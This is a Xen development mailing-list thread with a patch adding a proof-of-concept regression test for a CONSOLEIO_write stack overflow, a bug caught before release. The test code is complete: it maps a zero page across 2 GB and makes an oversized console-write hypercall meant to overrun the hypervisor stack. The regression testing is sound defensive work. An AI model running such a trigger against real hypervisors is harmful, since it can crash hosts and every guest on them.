Message ID | 20191129143509.26528-1-andrew.cooper3@citrix.com (mailing list archive) |
---|---|
State | New, archived |
Headers | show |
Series | [XTF] CONSOLEIO_write stack overflow PoC | expand |
On 29.11.2019 15:35, Andrew Cooper wrote: > Classify it as an XSA test (which arguably ought to be named 'security'), > despite no XSA being issues. Nit: issued > Signed-off-by: Andrew Cooper <andrew.cooper3@citrix.com> FWIW Reviewed-by: Jan Beulich <jbeulich@suse.com> with a remark and a question: > --- a/docs/all-tests.dox > +++ b/docs/all-tests.dox > @@ -143,6 +143,8 @@ XSA-293 - See @ref test-pv-fsgsbase. > @subpage test-xsa-298 - missing descriptor table limit checking in x86 PV > emulation. > > +@subpage test-xsa-consoleio-write - CONSOLEIO_write stack overflow > + > > @section index-utility Utilities Do you really want two successive blank lines there? > --- /dev/null > +++ b/tests/xsa-consoleio-write/main.c > @@ -0,0 +1,69 @@ > +/** > + * @file tests/xsa-consoleio-write/main.c > + * @ref test-xsa-consoleio-write > + * > + * This issue was discovered before it made it into any released version of > + * Xen. Therefore, no XSA or CVE was issued. > + * > + * A bugfix in Xen 4.13 altered CONSOLEIO_write to tolerate passing NUL > + * characters intact, as this is a requirement for various TTY setups. > + * > + * A signed-ness issue with the length calculation lead to a case where Xen > + * will copy between 2 and 4G of guest provided data into a 128 byte object on > + * the stack. > + * > + * @see tests/xsa-consoleio-write/main.c > + */ > +#include <xtf.h> > + > +const char test_title[] = "CONSOLEIO_write stack overflow PoC"; > + > +uint8_t zero_page[PAGE_SIZE] __page_aligned_bss; > + > +/* Have the assembler build an L1/L2 pair mapping zero_page[] many times. */ > +asm (".section \".data.page_aligned\", \"aw\";" > + ".align 4096;" > + > + "l1t:" > + ".rept 512;" > + ".long zero_page + "STR(PF_SYM(AD, P))", 0;" There being no further (runtime) adjustment to this and ... > + ".endr;" > + ".size l1t, . - l1t;" > + ".type l1t, @object;" > + > + "l2t:" > + ".rept 512;" > + ".long l1t + "STR(PF_SYM(AD, P))", 0;" ... this, is it set in stone that phys == lin in XTF tests? Or did you mean this to be hvm32, not hvm32pae? Jan
On 29.11.2019 15:43, Jan Beulich wrote: > On 29.11.2019 15:35, Andrew Cooper wrote: >> Classify it as an XSA test (which arguably ought to be named 'security'), >> despite no XSA being issues. > > Nit: issued > >> Signed-off-by: Andrew Cooper <andrew.cooper3@citrix.com> > > FWIW > Reviewed-by: Jan Beulich <jbeulich@suse.com> > with a remark and a question: > >> --- a/docs/all-tests.dox >> +++ b/docs/all-tests.dox >> @@ -143,6 +143,8 @@ XSA-293 - See @ref test-pv-fsgsbase. >> @subpage test-xsa-298 - missing descriptor table limit checking in x86 PV >> emulation. >> >> +@subpage test-xsa-consoleio-write - CONSOLEIO_write stack overflow >> + >> >> @section index-utility Utilities > > Do you really want two successive blank lines there? > >> --- /dev/null >> +++ b/tests/xsa-consoleio-write/main.c >> @@ -0,0 +1,69 @@ >> +/** >> + * @file tests/xsa-consoleio-write/main.c >> + * @ref test-xsa-consoleio-write >> + * >> + * This issue was discovered before it made it into any released version of >> + * Xen. Therefore, no XSA or CVE was issued. >> + * >> + * A bugfix in Xen 4.13 altered CONSOLEIO_write to tolerate passing NUL >> + * characters intact, as this is a requirement for various TTY setups. >> + * >> + * A signed-ness issue with the length calculation lead to a case where Xen >> + * will copy between 2 and 4G of guest provided data into a 128 byte object on >> + * the stack. >> + * >> + * @see tests/xsa-consoleio-write/main.c >> + */ >> +#include <xtf.h> >> + >> +const char test_title[] = "CONSOLEIO_write stack overflow PoC"; >> + >> +uint8_t zero_page[PAGE_SIZE] __page_aligned_bss; >> + >> +/* Have the assembler build an L1/L2 pair mapping zero_page[] many times. */ >> +asm (".section \".data.page_aligned\", \"aw\";" >> + ".align 4096;" >> + >> + "l1t:" >> + ".rept 512;" >> + ".long zero_page + "STR(PF_SYM(AD, P))", 0;" > > There being no further (runtime) adjustment to this and ... > >> + ".endr;" >> + ".size l1t, . - l1t;" >> + ".type l1t, @object;" >> + >> + "l2t:" >> + ".rept 512;" >> + ".long l1t + "STR(PF_SYM(AD, P))", 0;" > > ... this, is it set in stone that phys == lin in XTF tests? Or > did you mean this to be hvm32, not hvm32pae? Well, this last part was nonsense - there wouldn't be any page tables if it was hvm32. But the question remains. Jan
On 29/11/2019 14:45, Jan Beulich wrote: > On 29.11.2019 15:43, Jan Beulich wrote: >> On 29.11.2019 15:35, Andrew Cooper wrote: >>> Classify it as an XSA test (which arguably ought to be named 'security'), >>> despite no XSA being issues. >> Nit: issued Will fix. >> >>> Signed-off-by: Andrew Cooper <andrew.cooper3@citrix.com> >> FWIW >> Reviewed-by: Jan Beulich <jbeulich@suse.com> >> with a remark and a question: >> >>> --- a/docs/all-tests.dox >>> +++ b/docs/all-tests.dox >>> @@ -143,6 +143,8 @@ XSA-293 - See @ref test-pv-fsgsbase. >>> @subpage test-xsa-298 - missing descriptor table limit checking in x86 PV >>> emulation. >>> >>> +@subpage test-xsa-consoleio-write - CONSOLEIO_write stack overflow >>> + >>> >>> @section index-utility Utilities >> Do you really want two successive blank lines there? Yes. It is an awkward consequence of the doxygen markup for subpage and section looking very similar at a glance. Having a double space is the only way to easily spot paragraph boundaries when skimming through the file. >> >>> --- /dev/null >>> +++ b/tests/xsa-consoleio-write/main.c >>> @@ -0,0 +1,69 @@ >>> +/** >>> + * @file tests/xsa-consoleio-write/main.c >>> + * @ref test-xsa-consoleio-write >>> + * >>> + * This issue was discovered before it made it into any released version of >>> + * Xen. Therefore, no XSA or CVE was issued. >>> + * >>> + * A bugfix in Xen 4.13 altered CONSOLEIO_write to tolerate passing NUL >>> + * characters intact, as this is a requirement for various TTY setups. >>> + * >>> + * A signed-ness issue with the length calculation lead to a case where Xen >>> + * will copy between 2 and 4G of guest provided data into a 128 byte object on >>> + * the stack. >>> + * >>> + * @see tests/xsa-consoleio-write/main.c >>> + */ >>> +#include <xtf.h> >>> + >>> +const char test_title[] = "CONSOLEIO_write stack overflow PoC"; >>> + >>> +uint8_t zero_page[PAGE_SIZE] __page_aligned_bss; >>> + >>> +/* Have the assembler build an L1/L2 pair mapping zero_page[] many times. */ >>> +asm (".section \".data.page_aligned\", \"aw\";" >>> + ".align 4096;" >>> + >>> + "l1t:" >>> + ".rept 512;" >>> + ".long zero_page + "STR(PF_SYM(AD, P))", 0;" >> There being no further (runtime) adjustment to this and ... >> >>> + ".endr;" >>> + ".size l1t, . - l1t;" >>> + ".type l1t, @object;" >>> + >>> + "l2t:" >>> + ".rept 512;" >>> + ".long l1t + "STR(PF_SYM(AD, P))", 0;" >> ... this, is it set in stone that phys == lin in XTF tests? Or >> did you mean this to be hvm32, not hvm32pae? > Well, this last part was nonsense - there wouldn't be any page > tables if it was hvm32. But the question remains. Yes. XTF has an identity layout (and this is stated in mm.h), specifically for compatibility between unpaged and paged tests. Any test wanting to do something more exciting is free to do so. ~Andrew
diff --git a/docs/all-tests.dox b/docs/all-tests.dox index 50429127..bcf9b7ed 100644 --- a/docs/all-tests.dox +++ b/docs/all-tests.dox @@ -143,6 +143,8 @@ XSA-293 - See @ref test-pv-fsgsbase. @subpage test-xsa-298 - missing descriptor table limit checking in x86 PV emulation. +@subpage test-xsa-consoleio-write - CONSOLEIO_write stack overflow + @section index-utility Utilities diff --git a/tests/xsa-consoleio-write/Makefile b/tests/xsa-consoleio-write/Makefile new file mode 100644 index 00000000..d189b4de --- /dev/null +++ b/tests/xsa-consoleio-write/Makefile @@ -0,0 +1,9 @@ +include $(ROOT)/build/common.mk + +NAME := xsa-consoleio-write +CATEGORY := xsa +TEST-ENVS := hvm32pae + +obj-perenv += main.o + +include $(ROOT)/build/gen.mk diff --git a/tests/xsa-consoleio-write/main.c b/tests/xsa-consoleio-write/main.c new file mode 100644 index 00000000..f10a6256 --- /dev/null +++ b/tests/xsa-consoleio-write/main.c @@ -0,0 +1,69 @@ +/** + * @file tests/xsa-consoleio-write/main.c + * @ref test-xsa-consoleio-write + * + * This issue was discovered before it made it into any released version of + * Xen. Therefore, no XSA or CVE was issued. + * + * A bugfix in Xen 4.13 altered CONSOLEIO_write to tolerate passing NUL + * characters intact, as this is a requirement for various TTY setups. + * + * A signed-ness issue with the length calculation lead to a case where Xen + * will copy between 2 and 4G of guest provided data into a 128 byte object on + * the stack. + * + * @see tests/xsa-consoleio-write/main.c + */ +#include <xtf.h> + +const char test_title[] = "CONSOLEIO_write stack overflow PoC"; + +uint8_t zero_page[PAGE_SIZE] __page_aligned_bss; + +/* Have the assembler build an L1/L2 pair mapping zero_page[] many times. */ +asm (".section \".data.page_aligned\", \"aw\";" + ".align 4096;" + + "l1t:" + ".rept 512;" + ".long zero_page + "STR(PF_SYM(AD, P))", 0;" + ".endr;" + ".size l1t, . - l1t;" + ".type l1t, @object;" + + "l2t:" + ".rept 512;" + ".long l1t + "STR(PF_SYM(AD, P))", 0;" + ".endr;" + ".size l2t, . - l2t;" + ".type l2t, @object;" + + ".previous;" + ); +extern intpte_t l2t[512]; + +void test_main(void) +{ + /* Map 2G worth of zero_page[] starting from 1G... */ + pae_l3_identmap[1] = pae_l3_identmap[2] = pte_from_virt(l2t, PF_SYM(AD, P)); + + /* + * ... , write those zeros with a length possible to be confused by a + * signed bounds check... + */ + hypercall_console_write(_p(GB(1)), 0x80000000); + + /* ... and if Xen is still alive, it didn't trample over its own stack. */ + + xtf_success("Success: Not vulnerable to CONSOLEIO_write stack overflow\n"); +} + +/* + * Local variables: + * mode: C + * c-file-style: "BSD" + * c-basic-offset: 4 + * tab-width: 4 + * indent-tabs-mode: nil + * End: + */
Classify it as an XSA test (which arguably ought to be named 'security'), despite no XSA being issues. Signed-off-by: Andrew Cooper <andrew.cooper3@citrix.com> --- docs/all-tests.dox | 2 ++ tests/xsa-consoleio-write/Makefile | 9 +++++ tests/xsa-consoleio-write/main.c | 69 ++++++++++++++++++++++++++++++++++++++ 3 files changed, 80 insertions(+) create mode 100644 tests/xsa-consoleio-write/Makefile create mode 100644 tests/xsa-consoleio-write/main.c